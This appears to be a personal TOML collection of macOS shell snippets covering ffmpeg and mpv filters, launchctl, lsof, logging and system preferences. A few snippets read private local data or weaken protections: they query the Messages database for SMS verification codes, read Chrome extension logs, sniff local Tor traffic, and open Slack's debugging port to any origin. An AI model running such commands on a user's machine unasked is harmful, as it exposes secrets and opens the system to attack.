description = "list macOS defaults/preferences (registry)> Many of these you can change! using `find .` instead of `domains` is nice because it seperates domains by line."
command = "defaults read \"Apple Global Domain\"; defaults read com.apple.universalaccess; defaults find . | grep domain | grep \"com.apple\"; ### `-g` and NSGlobalDomain are the same as \"Apple Global Domain\"."
output = ""
[[snippets]]
description = "craazzy text"
command = "echo \"B̵̧̨͙͙̣̼̤̗̙̠͇̠̤̼̙̰̦̝͎̗̘̥̥̘̰̟̳̪̞͕̓̈́̑͘͜ͅͅͅͅU̵̢̢̢̩͍̬̙̫͙̹̝̰̼̙̱̪̣͓̹̻̙̝̣͙̫͖̲̣̮͖͈̫͈͖͕̯̱̅͜R̵̡̛͔͎̣̘̖͍̳̹̭̹̩͇̥̝̥̟̫̹̹̝͎̻̝̅̒̇͂̈̍͒̈́̀̋͊̽̍̓͗̊́͒̓̾̅͂̃̈́͛͘͜͝͝͝͝ͅͅͅĢ̵̨̛̩̜̻̱̪̣͕̤̺̘͔̬̬͔͇͉͈̞͖̼̟͍̃̆̂́͒̔̈̂̆̓̂̈̑̾́̓̒͆̊̌̂̐͗͊͆͆͋̚̚̚̚̚̕͝͝͝͝͠͝E̷̡̛̬͙̥̦̘͈̼̝̭͔̝̞͈̭̲̪̻̹̱̳̱͌̈̽͊̐̎́̒̍̑̔̅̕̚͜R̵̛̛̛̛̲̪̠͈̱̽̐͆̅̋͐͗̋̒̐̊̅̌̒̔̀̓̽̒̔̐̈̌̑̇͐͗͐͋̾̄͑͌͗̕̚̕̕͘͜ b\""
output = ""
[[snippets]]
description = "convert lines of text into JSON using jq. Useful example of how jq can make JSON and not just consume it. This example in particular makes JSON for use by Alfred"
command = "/usr/local/bin/SwitchAudioSource -a -t output| jq -R -s 'split(\"\\n\") | map(select(length>0)) | map({\"title\": ., \"arg\": ., \"icon\": { \"path\": \"./icon.png\"} } )' | jq -s '{ \"items\": .[] }'"
output = ""
[[snippets]]
description = "ffmpeg checkboard line pattern filter"
command = "### ffmpeg filter: geq=lum='if(eq(mod(Y,100),0) + eq(mod(X,100),0),min(p(X,Y)+5,255),p(X,Y))"
output = ""
[[snippets]]
description = "mpv/ffmpeg filter for taking two video inputs, and merging them in a 50px checkered overlay pattern. Interesting if comparing two different versions of the same content. Also draws some faint lines to highlight the grid"
command = "mpv first_media.mp4 --external-file=../Some_Media.mkv --lavfi-complex=\"[vid1][vid2]blend=all_expr='if(mod(gt(mod(X,100),50) + gt(mod(Y,100),50),2),A,B)',drawgrid=width=100:height=50:thickness=1:color=green@0.1[vo]\" ### filter works on ffmpeg too"
output = ""
[[snippets]]
description = "macOS logging: stream 50000 log entries live, then count how many are coming per process + messageType"
command = "log stream --style ndjson --info --debug | head -50000 | pv --line-mode | jq -c \"[.processID, .processImagePath, .messageType]\" | sort | uniq -c | sort -n"
output = ""
[[snippets]]
description = "open the Slack app with the developer tools menu enable, and a remote debugging port. Also check out the debugotron app, https://github.com/bytedance/debugtron"
command = "SLACK_DEVELOPER_MENU=true /Applications/Slack.app/Contents/MacOS/Slack --args --remote-debugging-port=8315 '--remote-allow-origins=*'"
output = ""
[[snippets]]
description = "ffmpeg (and mpv, iina, or just lavfi) filter to flash some text on keyframe. Weirldy drawtext seems like the only filter that takes expressions that use the frame type (pict_type). Couldn't find a way to do anything but draw text on the keyframe."
command = "## lavfi=[drawtext=fontsize=60:fontcolor=white:x=if(eq(pict_type\\,1)\\,100\\,w-10):y=x/dar:text='KEYFRAME']"
output = ""
[[snippets]]
description = "zsh: print all functions and alias includes their definitions."
command = "print -rl -- ${(kv)functions} ${(kv)aliases}"
output = ""
[[snippets]]
description = "mpv commands: use SSA subtitle formatting on mpv OSD! \\\\an1 aligns it to the left corner, and \\\\fs30 sets the font to size 30. Preciding that is the ssa unescape sequence enabling these. The full spec is here: http://moodub.free.fr/video/ass-specs.doc"
command = "### show-text \"${osd-ass-cc/0}{\\\\an1}{\\\\fs30} scale: ${scale} scale-radius: ${scale-radius}\" 2000"
output = ""
[[snippets]]
description = "get my local ip address"
command = "ifconfig en14 | grep \"inet \" | tr -s ' ' | cut -d ' ' -f 2"
output = ""
[[snippets]]
description = "lock down the sirianalytics.db, which has BS constantly written to it by assistantd. wtf is that"
command = "chmod -R 000 ~/Library/Assistant/SiriAnalytics.db; chflags -R uchg ~/Library/Assistant/SiriAnalytics.db;"
output = ""
[[snippets]]
description = "disable macOS catalina automatic updated"
command = "sudo softwareupdate --ignore \"macOS Catalina\"; defaults write com.apple.systempreferences AttentionPrefBundleIDs 0"
output = ""
[[snippets]]
description = "ffmpeg/ffprobe: print timestamp of every frame from first 5 mins, then us awk to filter for key frames only (K)"
command = "ffprobe -loglevel error -select_streams v:0 -read_intervals '%05:00' -show_entries packet=pts_time,flags -of csv=print_section=0 input.mkv | awk -F',' '/K/ {print $1}'"
output = ""
[[snippets]]
description = "putio: speed test different putio servers. Must paste in a valid link to a file that's at least 50MB. (should really average many trials for better results)"
command = "for x in la1 nyc1 s71-cf s71 cha5 hkg1; do echo \"speed testing $x... \" > /dev/stderr; curl -q -o /dev/null -L -r 0-50000000 -w \"$x %{speed_download} \\t time_connect: %{time_connect} time_namelookup: %{time_namelookup} time_pretransfer: %{time_pretransfer} time_starttransfer: %{time_starttransfer} time_redirect: %{time_redirect} time_total: %{time_total}\\n\" \"https://$x.put.io/download/....&oauth_token=....&tunnel=1&storage=s71\"; done | tee /tmp/pt_speed | awk '{printf \"%s speed: %0.2f MB/s ( more details: \",$1,$2/1024/1024; $1=\"\";$2=\"\"; print $0,\")\";}' | sort -nk3"
output = ""
[[snippets]]
description = "TOR: use curl to make a request through the tor proxy, including hidden services. This fetches the NYTimes. relevant: https://tor.stackexchange.com/questions/20175/why-doesnt-curl-download-from-file-a-onion-service"
command = "curl --socks5-hostname 127.0.0.1:9150 https://www.nytimes3xbfgragh.onion/"
output = ""
[[snippets]]
description = "set sublime text as the new default text editor on macOS. Change macOS type type associations. Check out duti tool more"
command = "duti -s com.sublimetext.3 public.plain-text all"
output = ""
[[snippets]]
description = "launchctl: some examples of how to use the new service style launchctl commands. That said I still can't figure out how to kill a background daemon that only exist in the read-only apptranslocation directory. 1Password 4 in particular"
command = "launchctl print pid/24602; sudo launchctl kickstart -kp system/com.apple.audio.coreaudiod; launchctl print gui/502/2BUA8C4S2C.com.agilebits.onepassword4-helper; launchctl disable gui/$(id -u $ME)/2BUA8C4S2C.com.agilebits.onepassword4-helper; launchctl kill kill gui/502/2BUA8C4S2C.com.agilebits.onepassword4-helper; sudo launchctl procinfo 25793; "
output = ""
[[snippets]]
description = "launchct: more example of new launchctl stuff. The best is `procinfo` which lets you find the underlying plist file for the job! (if it exists)"
command = "sudo launchctl procinfo 521; sudo launchctl print user/502; sudo launchctl print system; sudo launchctl print gui/$(id -u $ME);"
output = ""
[[snippets]]
description = "lsof: show processes with open files in this directory"
command = "sudo lsof +d /private/tmp/test -n; #(use +D to search full depth)"
output = ""
[[snippets]]
description = "lsof: show all open network connections. `-n` massively speeds this up"
command = "sudo lsof -i -n"
output = ""
[[snippets]]
description = "lsof: show open files of a particular process! when uses with `-i`, to show networking, it appears to just ignore the `-p` setting... :shrug:"
command = "sudo lsof -p 106"
output = ""
[[snippets]]
description = "wake iMac!"
command = "wakeonlan -i 192.168.1.255 -p 9 28:F0:76:0F:C6:F6"
output = ""
[[snippets]]
description = "bluetooth audio: enable AptX codec. Great for Sony WH-1000MX headphones (false to go ack to default)"
command = "sudo defaults write bluetoothaudiod \"Enable AptX codec\" -bool true"
output = ""
[[snippets]]
description = "benchmark: use fio to benchmark some reads (works in the current directory)"
command = "fio --name=randread --rw=randread --direct=1 --ioengine=posixaio --bs=8k --numjobs=8 --size=1G --runtime=60 --group_reporting"
output = ""
[[snippets]]
description = "remote desktop: ancient kickstart script for managing Apple Remote Desktop. The docs reference OS X 10.5. Seems maybe useful for enabling remote desktop over ssh?"
command = "sudo /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -help"
output = ""
[[snippets]]
description = "macos open source: download all the tarballs from a particular macOS opensource release (macOS 10.15.6 in thsi case). Relies on wget2. This is helpful because it makes it easier to figure out what version of the other frameworks each framework relies on. Apple sure doesn't make it easy, but hey, thanks for making the tarballs at all."
command = "wget2 --wait=0.1 --filter-urls --random-wait --max-threads=1 --level 1 --convert-links --recursive off --mirror -e robots=off --adjust-extension --reject png,gif,jpg --accept tar.gz,tarballs --domains opensource.apple.com https://opensource.apple.com/release/macos-10156.html"
output = ""
[[snippets]]
description = "ffmpeg: add a nice showcqt viz on the right of some 1080p media. mp4 format for Apple friendliness, WITH IMMEDIATE PLAYBACK thanks to a bunch of arcane movflags"
command = "ffmpeg -i <INPUT> -filter_complex \"[0:a]volume=1.25,equalizer=f=9000:width_type=o:width=3:g=30,volume=1.5,showcqt=fps=23.976:s=436x1080:count=4:axis=0:axis_h=30:bar_h=100:basefreq=60:endfreq=16495:cscheme=1|0.2|0|0|0.2|1,fps=23.976,hflip[vfreq];[0:v] scale=-1:1080, fps=fps=23.976, crop=(in_w-120):in_h[vbig];[vbig][vfreq]hstack,fps=23.976[vout]\" -map \"[vout]\" -map \"0:a\" -c:v h264_videotoolbox -b:v 3.5M -c:a copy -movflags +frag_keyframe+separate_moof+omit_tfhd_offset+empty_moov S02E12-fun.mp4"
output = ""
[[snippets]]
description = "macOS admin: get the current idle time for the user"
command = "echo \"User is idle for $((`ioreg -c IOHIDSystem | sed -e '/HIDIdleTime/ !{ d' -e 't' -e '}' -e 's/.* = //g' -e 'q'` / 1000000000)) seconds\""
output = ""
[[snippets]]
description = "remote desktop: Setup ssh port forwarding to access the remote desktop of a machine you can ssh into"
command = "ssh -p 13650 theowner@1.1.1.1 -L 5900:localhost:5900"
output = ""
[[snippets]]
description = "fs_usage: watch file activity for processes that match a string. `pg` is just like psgrep."
command = "sudo fs_usage -f pathname $(pg <STRING> | tr -s ' ' | gsed -E 's/^\\s//g' | grep -v \"fs_usage\\|grep \\-\" | cut -d ' ' -f 1)"
output = ""
[[snippets]]
description = "SOCRATA/DataSF: Query Socrata in a sane way. Their online cURL examples are horrible and tell you to do all sorts of manual html escaping. Curl with --data-urlencode and -G solves it properly."
command = "curl -v -G https://data.sfgov.org/resource/vw6y-z8j6.json --data-urlencode \"\\$query=select service_details,service_name,service_subtype,address,requested_datetime where address like '1%DORE%' and requested_datetime > '2020-01-19T20:59:06.000' limit 100\" | jq -c '.[]'"
output = ""
[[snippets]]
description = "look up ipv6 address on local network using mDNS. Then you can use ping6 (include the \"%en0\" which specifies the interface. v6 changes a lot of stuff. Need to go learn)"
command = "dns-sd -G v4v6 robs-macbook-pro.local"
output = ""
[[snippets]]
description = "audio: play constant background noise to keep cheap bluetooth audio accessories active. Otherwise they turn off/on again when you seek. Obviously this burns a lot more battery power :-)"
command = "ffplay -f lavfi \"sine=44\" -af \"volume=1\" -nodisp"
output = ""
[[snippets]]
description = "AirPlay/Screensharing: Make HTTP request to toggle playpause for an active AirPlay session. Specific numbers are unique per session, sadly. Needs some more tooling. Super annoying that this functionality exists, but from the AppleTV remote there seems no way to toggle it"
command = "curl -vv http://192.168.86.24:53616/ctrl-int/1/playpause -H 'Active-Remote:3404518199' ## remote # and port # subject to change... some more protocol info: https://nto.github.io/AirPlay.html\\#audio-remotecontrol"
output = ""
[[snippets]]
description = "console log: look at console logs for Wake On Lan (magic packet) references. Annoyingly this is very hard to debug. And if you send to many macOS appears to start ignoring them without any mention at all"
command = "log show --info --debug --last 30m --predicate \"(message Contains[c] 'magic' and (message Contains[c] 'wake' or message Contains[c] 'packet') and not message Contains[c] 'dark wake') or (message Contains[c] 'wake' and message Contains[c] ' lan')\""
output = ""
[[snippets]]
description = "ffmpeg: when hardware encoding with _videotoolbox... the `-g` param still works for specify \"keyframes\". Not exactly the same as the x264-opts keyint= param, but close. shrug"
command = "ffmpeg -i <input> -c:v h264_videotoolbox -g 5 -b:v 3M -c:a copy testo4.mkv"
output = ""
[[snippets]]
description = "pstree: list all process that are descended from my terminal/iTerm. Filters out the obvious stuff. Super janky. Is clearly hard coded for me"
command = "pstree -p $(pgrep -a iTerm2) | grep -v -E \"\\d{2,} chris \\-zsh$|/MacOS/iTerm2 \\-\\-|grep \\-\\-ignore\\-case\""
output = ""
[[snippets]]
description = "FileMonitor: pass FileMonitor results to jq for nice formating! Or uniq+counting. Silly hack to get rid of the invalid json trailing comma that is outputted (SHAME)"
command = "sudo /Applications/monitoring/FileMonitor.app/Contents/MacOS/FileMonitor | sed \"s/,},/},/g;s/[[:cntrl:]]//g\" | jq -c \"[.file.destination, .file.process.path,.event]\""
output = ""
[[snippets]]
description = "Star Trek: Download TAS scripts from chakoteya.net and convert them to nice text. Uses the PyPi html2text package. (the ancient cli tool of the same name is far worse)"
command = "wget http://www.chakoteya.net/StarTrek/TAS\\{001..023\\}.htm; for f in *.htm; do html2text -b 0 --ignore-links --ignore-emphasis \"$f\" > \"${f:t:r}.txt\"; done"
output = ""
[[snippets]]
description = "ffmpeg: make a gif with ffmpeg! keep loop as 0 (0=infinite loop)"
command = "ffmpeg -ss 1 -i input.mov -vf \"setpts=0.5*PTS,fps=10,scale=1080:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse\" -loop 0 -y output.gif"
output = ""
[[snippets]]
description = "launchctl: The old `load` command is now replaced by `bootstrap`. This works over SSH! You must now specify the domain."
command = "launchctl bootstrap user/$(id -u) /Users/chris_tmp/Library/LaunchAgents/varenc.chris.testing.plist"
output = ""
[[snippets]]
description = "ffmpeg/ffplay: example of how to use complex multimedia filters with ffplay"
command = "ffplay -f lavfi \"movie=big_buck_bunny_480p_surround-fix.avi:streams=dv+da[v][a],[a]asplit=2[out1][a],[a]showcqt=s=400x900[vfun],[v]scale=-1:900[v];[v][vfun]hstack[out0]\""
output = ""
[[snippets]]
description = "Use that as the Custom Number Format on Google Sheets and long numbers of bytes will become nicely formatted! Not sure where else to put this but it rocks"
command = "## GOOGLE SHEETS BYTES/KB/MG/GB byte formating string: [<1000000]0.00,\" KB\";[<1000000000]0.00,,\" MB\";0.00,,,\" GB\""
output = ""
[[snippets]]
description = "shell-fu: Convert the numbers 0-9 into the words zero-nine! Nice for normalizing text and then doing some dumb substring searches"
command = "perl -lpe '@a=qw(zero one two three four five six seven eight nine);s/(?<!\\d)(\\d)(?!\\d)/$a[$1]/g'"
output = ""
[[snippets]]
description = "HTTPS: test a site without SNI"
command = "gnutls-cli --disable-sni www.lingt.com"
output = ""
[[snippets]]
description = "list all macOS speech voice bundle names. Bundle names can be used directly in a `say -v \"...\"` command"
command = "\\ls /System/Library/Speech/Voices/*.SpeechVoice/Contents/Info.plist | xargs -n 1 /usr/libexec/PlistBuddy -c 'print CFBundleIdentifier'"
output = ""
[[snippets]]
description = "cause `say` to seg fault! using undocumented param '--map-channels'"
command = "say --map-channels 12123 \"hello\" -o out.aiff"
output = ""
[[snippets]]
description = "Bluetooth: Dump a sample of all bluetooth communication activity. Like wireshark for Bluetooth. The pklg file type can be opened by Apple's PacketLogger util"
command = "sudo /System/Library/Frameworks/IOBluetooth.framework/Resources/BluetoothReporter --dumpPacketLog /tmp/bt_dump.pklg"
output = ""
[[snippets]]
description = "fix \"illegal byte sequence\". Basically you just prepend `LC_ALL=C` which configures the local to `C`. Crazy details here: https://stackoverflow.com/questions/19242275/re-error-illegal-byte-sequence-on-mac-os-x also worth nothing that gnu utils (gsed, gsort) don't complain about this. Just the Apple built in ones. (Perhaps they want to insist on correctness)"
command = "LC_ALL=C sed 's/./@/' <<<$'\\xfc'"
output = ""
[[snippets]]
description = "do an iOS/iTunes backup from the shell! also lets you controlt the output path easily"
command = "/System/Library/PrivateFrameworks/MobileDevice.framework/Versions/Current/AppleMobileDeviceHelper.app/Contents/Resources/AppleMobileBackup --info"
output = ""
[[snippets]]
description = "iOS backup futzing: Write some pref value that I hoped would cause AppleMobileBackup to output some useful logging info, but no luck. Interesting that it looks for keys in this non-existence domain. Feels like a bunch of its functionality is just abandoned cruft and they only care about the narrow bit they use that works. And of course its way better if all users which to iCloud backups so they can make $$ on services. Alas."
command = "defaults write com.apple.MobileDevice LogFile '/private/tmp/mobiledevice.log'"
output = ""
[[snippets]]
description = "review this shortcuts! Ctrl+O Control-P: Move up one line."
command = "#https://support.apple.com/en-us/HT201236"
output = ""
[[snippets]]
description = "spoof terminal width/columns: This arcane command makes the terminal appear to have 200 lines for any subsequent commands (like `tput cols`). This is useful for dumb programs that like to truncate data to fit your terminal but don't let you override (like `fs_usage` !!!!!!) ... also good when piping to `less`."
command = "stty columns \"${1:-200}\""
output = ""
[[snippets]]
description = "proxy: set and toggle SOCKS proxy from the cli. Useful for toggling Charles on off. (its built in function only toggles the system hide HTTP proxy)"
command = "networksetup -setsocksfirewallproxy Ethernet localhost 8889; ## networksetup -setsocksfirewallproxystate Ethernet off"
output = ""
[[snippets]]
description = "process monitoring: cleaner process monitoring by using jq on the json output. The but buffering is still causing pain. Nothing seems to return until the initial `head -1000` closes the pipe. Maybe remove all the 'tee's? Also the two gsed commands are to fix ProcessMonitor's output so that its valid json. Annoyingly if the arguments contain a newline, that newline is output unescaped, which makes it invalid JSON. I think. This is because its a stream of line deliminated json objects and there's no easy way to distinguish a object delimination newline from a json value newline. That gsed just hackly fixes this for a very specific call to awk. (in particular, the call to awk made by the z jump-list tool)"
command = "sudo /Applications/monitoring/ProcessMonitor.app/Contents/MacOS/ProcessMonitor | head -1500 | tee /tmp/tmp | gsed --unbuffered \"s/,},/},/g\" | gsed --unbuffered '/./{H;$!d} ; x ; s/\"-F|\",\".*\"],\"ppid\"/\"-F|\",\"___AWK STUFF___\"],\"ppid\"/' | tee /tmp/tmp_filtered | head -60 | jq --unbuffered -c \"[.event, .process.path, .process.arguments, .process.pid, .process.ppid, .ancestors]\""
output = ""
[[snippets]]
description = "MDM/Configuration Profile: make a signed (obsfuscated) .mobileconfig readable. Note that profiles can actually be encrypted and require a private key to read so this obviously wont work on those. But this works fine for Kandji generated configs for me"
command = "security cms -D -i kandji-enroll.mobileconfig | xmllint --pretty 1 - ### this also works: openssl smime -inform DER -verify -in signed.mobileconfig -noverify -out de-signed.mobileconfig"
output = ""
[[snippets]]
description = "ddc/ci: query most all all of the current monitor's ddc/ci properties"
command = "ddcctl -d 1 -gg '?' -bg '?' -rg '?' -p '?' -m '?' -b '?' -c '?'"
output = ""
[[snippets]]
description = "wget/archive.org mirroring: wget command for mass downloading. Mainly just read the guide"
command = "/private/tmp/wget-1.18-limitsize/src/wget --limit-size=300M --continue -nc -r -H -np -nH --cut-dirs=1 -A .mp4,.xml,.gif,.html --reject _edit.mp4,_512kb.mp4 -e robots=off -l1 -i ./IDS_SPLITac -B 'http://archive.org/download/' # https://blog.archive.org/2012/04/26/downloading-in-bulk-using-wget/"
output = ""
[[snippets]]
description = "dtrace/opensnoop: Awesome DTrace script for monitoring `open` calls. On Catalina and above need to disable SIP. (some non-Apple processes can be viewed with SIP on, but oddly not all of them. Maybe preferential treatment for apps with the right signature or ones distributed through the app store. Wow)"
command = "sudo opensnoop # -h"
output = ""
[[snippets]]
description = "networking/unifi: manually add a routing table entry to help deal with the Double NAT'd gwifi network attached to my main ubiquiti network. This doesn't really solve the underlying issue, but now at least if I have the IP address of something on the GWifi network it seems to be routed to it correctly. Still wish that mDNS/Bonjour broadcasting would work. (I think the issue is just that gwifi refuses to repeat broadcast packet it recieves on the WAN port? which of course is rather sensible)"
command = "sudo route -n add -net 192.168.86.0/24 192.168.1.30 #(or change to 'delete')"
output = ""
[[snippets]]
description = "mpv: compare different AAC audio decoders back to back. I've learned that AudioToolbox sounds particularly poor and that the default, `aac`, seems like the best"
command = "mpv LFE-SBR.mp4 --ad=libfdk_aac --start=00:00:34 --end=00:00:38; mpv LFE-SBR.mp4 --ad=aac_at --start=00:00:34 --end=00:00:38; mpv LFE-SBR.mp4 --ad=aac --start=00:00:34 --end=00:00:38"
output = ""
[[snippets]]
description = "macos: enable slow animation by holding shift key"
command = "defaults write com.apple.dock slow-motion-allowed -bool YES && killall Dock"
output = ""
[[snippets]]
description = "shell/line endings: how to grep for line endings in Windows line ending files. just using `$` won't work."
command = "grep -v -E \"^.*[[:cntrl:]]*$\"; # or just use `dos2unix`, or `cat INPUT | sed 's/^M$//' > output`. (or use `sponge` to have output replace the input file)"
output = ""
[[snippets]]
description = "ffmpeg: cut a video but keep original timestamps in the output. Might require the cut time (`-ss`) specify a keyframe exactly. Needs mp4 container. Wish I understood this better."
command = "ffmpeg -ss CUT_TIMECODE -i https://api.video.source/some_huge_8k_video.mov -t $((60*5)) -c copy -output_ts_offset CUT_TIMECODE -movflags +faststart -y trimmed.mp4"
output = ""
[[snippets]]
description = "shell-fu/time: convert time in seconds to formatted hours+minutes+seconds, including fractions. (HH:MM:SS.<frac). Helpful for when pulling `time-pos` from MPV/IINA. (which you can fetch from mpv's --input-ipc-server like this: `echo '{ \"command\": [\"get_property\", \"time-pos\"] }' | socat - /tmp/mpv.sock | jq -r \".data\"`)"
command = "echo 9112.437 | dc -e '?1~r60~r60~r[[0]P]szn[:]ndZ2>zn[:]ndZ2>zn[[.]n]sad0=ap'"
output = ""
[[snippets]]
description = "nat/networking: Get UPNPC working through a Double NAT. (GWifi beyind Ubiquiti). Just use `upnpc`'s -u option to specify the upnpc gateway and setup two layers of redirections."
command = "upnpc -e chrisfun -a 192.168.86.20 22 6991 tcp 600; upnpc -u \"http://192.168.1.1:43098/rootDesc.xml\" -e chrisfun -a 192.168.1.30 6991 6991 tcp 600; # upnpc -l"
output = ""
[[snippets]]
description = "tor/networking/tcpdump: Log and then dump all local Tor traffic. Relies on the nifty httpdump go project. Just sniffs the local tor port. Especially works when using hidden services which are 'only' http. (tor actually encrypts them of course, but the local traffic to the proxy is plain text)"
command = "sudo tshark -i lo0 -w out.pcap 'port 9150'; # sudo httpdump -level full -file ./out.pcap"
output = ""
[[snippets]]
description = "ffmpeg/ffprobe: show lots of stream level info."
command = "ffprobe -loglevel error -prefix -unit -pretty -show_streams -i INPUT"
output = ""
[[snippets]]
description = "mediainfo/ffmpeg: Show more video file info with `mediainfo`. This will reveal the min/max luminance values in nits for certain HDR videos"
command = "mediainfo -f _INPUT_ | grep lumin"
output = ""
[[snippets]]
description = "ffmpeg/ffprobe: Extract HDR info with ffprobe. Weirdly previous ffprobe commands didn't output this. This is the \"Mastering Display and Content Light Level metadata\""
command = "ffprobe -hide_banner -loglevel warning -select_streams v -print_format json -show_frames -read_intervals \"%+#1\" -show_entries \"frame=color_space,color_primaries,color_transfer,side_data_list,pix_fmt\" -i <>"
output = ""
[[snippets]]
description = "ffmpeg: compare features of two different ffmpeg binaries. Prety interesting just comparing different builds."
command = "function ffinfo() {$1 -version > $2;$1 -encoders >> $2;$1 -decoders >> $2;$1 -codecs >> $2;$1 -filters >> $2;$1 -formats >> $2;$1 -muxers >> $2;$1 -demuxers >> $2;$1 -devices >> $2;$1 -hwaccels >> $2;$1 -protocols >> $2}; ffinfo \"/path/to/some/ffmpeg\" /tmp/ff1; ffinfo \"/other/ffmpeg\" /tmp/ff2; diffmerge /tmp/ff1 /tmp/ff2;"
output = ""
[[snippets]]
description = "custom keyboard shortcuts from terminal: Just write to an app's pref's NSUserKeyEquivalents dict to modify custom app shortcuts. Exactly like Preferences -> Keyboard -> Shortcuts. Write to the global domains `NSUserKeyEquivalents` to change global shortcuts of course. App will need to be restarted (unlike when using system prefs)"
command = "defaults write com.apple.Preview \"NSUserKeyEquivalents\" -dict-add \"Adjust Size...\" \"@~s\";"
output = ""
[[snippets]]
description = "chrome extension activity: Show the 50 most recent Chrome extension activity logs by reading from Chrome's sqlite database. Might require the Chrome extensions developer tool"
command = "sqlite3 ~/Library/Application\\ Support/Google/Chrome/Default/Extension\\ Activity \"select * from activitylog_uncompressed ORDER BY time DESC limit 50;\""
output = ""
[[snippets]]
description = "geoip: Get the geoip of my current IP address"
command = "curl http://ip-api.com/json/ | jq"
output = ""
[[snippets]]
description = "messages scan/get SMS code: Chat the Messages app database for recent messages. The 'date' field is an integer that uses \"AppleTime\". Which is unix time but based on 1/1/2001 UTC, and its in NANO SECONDS. So its `(<unix time> - 30 years) * 10^9"
command = "sqlite3 ~/Library/Messages/chat.db \"SELECT text, datetime(date, 'unixepoch', '+31 years') FROM message WHERE text LIKE '%code%' and date > $((633743600 * 1000000000))\""
output = ""
[[snippets]]
description = "iMessage/Messages backup: this oneliner selects messages from the last 24 hours only. The only improvement over others is that it converts the hours to a NSDate (nanoseconds since 1/1/01), and then converts the returned NSDates back as well."
command = "HOURS_SINCE=$((24)); sqlite3 ~/Library/Messages/chat.db \"SELECT text, datetime(date/1000000000 + strftime('%s', '2001-01-01') ,'unixepoch','localtime'),date FROM message WHERE text LIKE '%' and date > $(printf \"%0.f\" $(( ( $(gdate '+%s.%N') - $(gdate -ud \"2001-01-01\" '+%s') - ($HOURS_SINCE * 3600) ) * 10**9 ))) ORDER BY date ASC\""
output = ""
[[snippets]]
description = "shell-fu: exclude blank lines, when those blank lines might be from files with windows-style CR-LF line breaks. So annoying."
command = "grep -vE '^[[:cntrl:]]*$'"
output = ""
[[snippets]]
description = "open the 'secret' mac calibration assistant"
command = "open \"/System/Library/PrivateFrameworks/AmbientDisplay.framework/Versions/A/Resources/Calibration Assistant.app\""
output = ""
[[snippets]]
description = "zsh/shell-fu; start shell in debug mode to see everything that happens. Useful for tracking down why `INC_APPEND_HISTORY` is being set or why a random ruby process is being started when a shell opens."
command = "set -x; source ~/.zshrc 2> /tmp/zlog; set +x"
output = ""
[[snippets]]
description = "blend two images together, animorphs style. Uses/abuses ffmpeg's motion interpolation filter to do it. Basically its trying to fill in the missing frames between these two still images. Works better when the images have some simliarity to start with"
command = "ffmpeg -safe 0 -f concat -i <(echo \"file '/tmp/chris.jpg'\\nduration 2\\nfile '/tmp/rilka.jpg'\\nduration 2\\nfile '/tmp/rilka.jpg'\") -vf 'scale=-1:600,fps=25' -vsync vfr -pix_fmt yuv420p -framerate 25 tmpoutput.mkv; ffmpeg -ss 1 -i tmpoutput.mkv -vf 'fps=2,minterpolate=fps=120:scd=none:search_param=64:mc_mode=aobmc:me_mode=bilat:vsbmc=1,setpts=5*PTS,fps=60' blended.mp4; ffplay blended.mp4"
output = ""
[[snippets]]
description = "image conversion: use imagemagick to resize and crop an image to a fixed size. 600x600 is used by the animorphs merging ffmpeg snippet above."
command = "convert chris2.png -resize 600x600^ -extent 600x600 chris2.jpg"
output = ""
[[snippets]]
description = "make a 5GB Ram disk. Use `diskutil eject '/Volumes/RAM Disk'` to unmount and free up RAM. Just unmount it will leave the RAM Disk in memory mysteriously..."
command = "diskutil erasevolume HFS+ 'RAM Disk' `hdiutil attach -nobrowse -nomount ram://10485760`"
output = ""
[[snippets]]
description = "subtitles: Strip everything but the text from an srt subtitle"
command = "cat sub.srt | grep -v \"\\-\\->\" | grep -vE \"^[[:digit:]]+$\""
output = ""
[[snippets]]
description = "subtitle comparion: Compare plaintext only of two srt files with creating any intermediate files. woohooo"
command = "meld --label=OLD <(cat sub1.srt | grep -v \"\\-\\->\" | grep -vE \"^[[:digit:]]+$\") --label=NEW <(cat sub2.srt | grep -v \"\\-\\->\" | grep -vE \"^[[:digit:]]+$\" | sed \"s/\\- //g\")"
output = ""
[[snippets]]
description = "mac os log streaming/filtering: This shows off a few different things. For predicates to filter on message type you use the unquoted log types which are just converted to numbers (debug=2). With ndjson you can stream and view live with `jq` but the very first non-json message, \"Filtering.... blah blah\", must be excluded. In this example I'm tracking down what's making the `deleted` daemon go crazy. Turns out it was iStats menus querying for purgeable space every 10 seconds."
command = "sudo log stream --style=ndjson --info --debug --predicate \"(subsystem == 'com.apple.cache_delete' AND (messageType != debug OR not processImagePath Contains[c] 'deleted')) OR processImagePath == '/usr/bin/sudo'\" | grep -v \"^Filter\" | jq '{subsystem, category, processImagePath, senderImagePath, eventMessage, processID, messageType}'"
output = ""
[[snippets]]
description = "macOS logging: Enable detailed debug level logging for the user prefs (aka cfprefsd or `defaults`). This lets you look up all historical reads and writes of user prefs. But its a lot of data so dissable this after use. I get about 100 debug logs a second on average."
command = "sudo log config --subsystem 'com.apple.defaults' --mode \"persist:debug\""
output = ""
[[snippets]]
description = "macOS logging: Monitor all writes/updates to user prefs/defaults/cfprefsd. I found this very useful for figuring out how the options in a configuration GUI map to the underlying prefs. Once thats figured out it becomes easy to automate them. Woohooo."
command = "sudo log stream --info --debug --predicate \"subsystem == 'com.apple.defaults' and (eventMessage contains 'wrote' or eventMessage contains 'setting' or '1' == '2') and not (processImagePath contains 'iTerm2') \""
output = ""
[[snippets]]
description = "process monitoring: Track cpu % and total cputime regularly. The delta in the cputime is the really interesting things. In this case it tracks the AXVisualSupportAgent."
command = "while :;do ps -p $(pgrep AXVisual) -o %cpu=,cputime=;sleep 1;done"
output = ""
[[snippets]]
description = "macos defaults: Read IINA prefs and escape for later usage"
command = "defaults read com.colliderli.iina savedVideoFilters | grep -v \"[\\)\\(]$\" | gsed -E 's/\\\\\"\\\\\"//g' | gsed -E \"s/'/'\\\"'\\\"'/g\" | gsed -E -e '1h;2,$H;$!d;g' -e \"s/\\},?"
output = ""
[[snippets]]
description = "macos prefs/iina saver"
command = "echo \"defaults write com.colliderli.iina TESTOsavedVideoFilters -array\" $(defaults read com.colliderli.iina savedVideoFilters | grep -v \"[\\)\\(]$\" | gsed -E 's/\\\\\\\\\"\\\\\\\\\"//g' | gsed -E \"s/'/'\\\"'\\\"'/g\" | gsed -E -e '1h;2,$H;$!d;g' -e \"s/\\},?\\n?/}\\'/g\" | gsed -E \"s/\\{/'\\{/g\") | gsed \"s/}' '{/}' '{\\n/g\" > ./t.sh"
output = ""
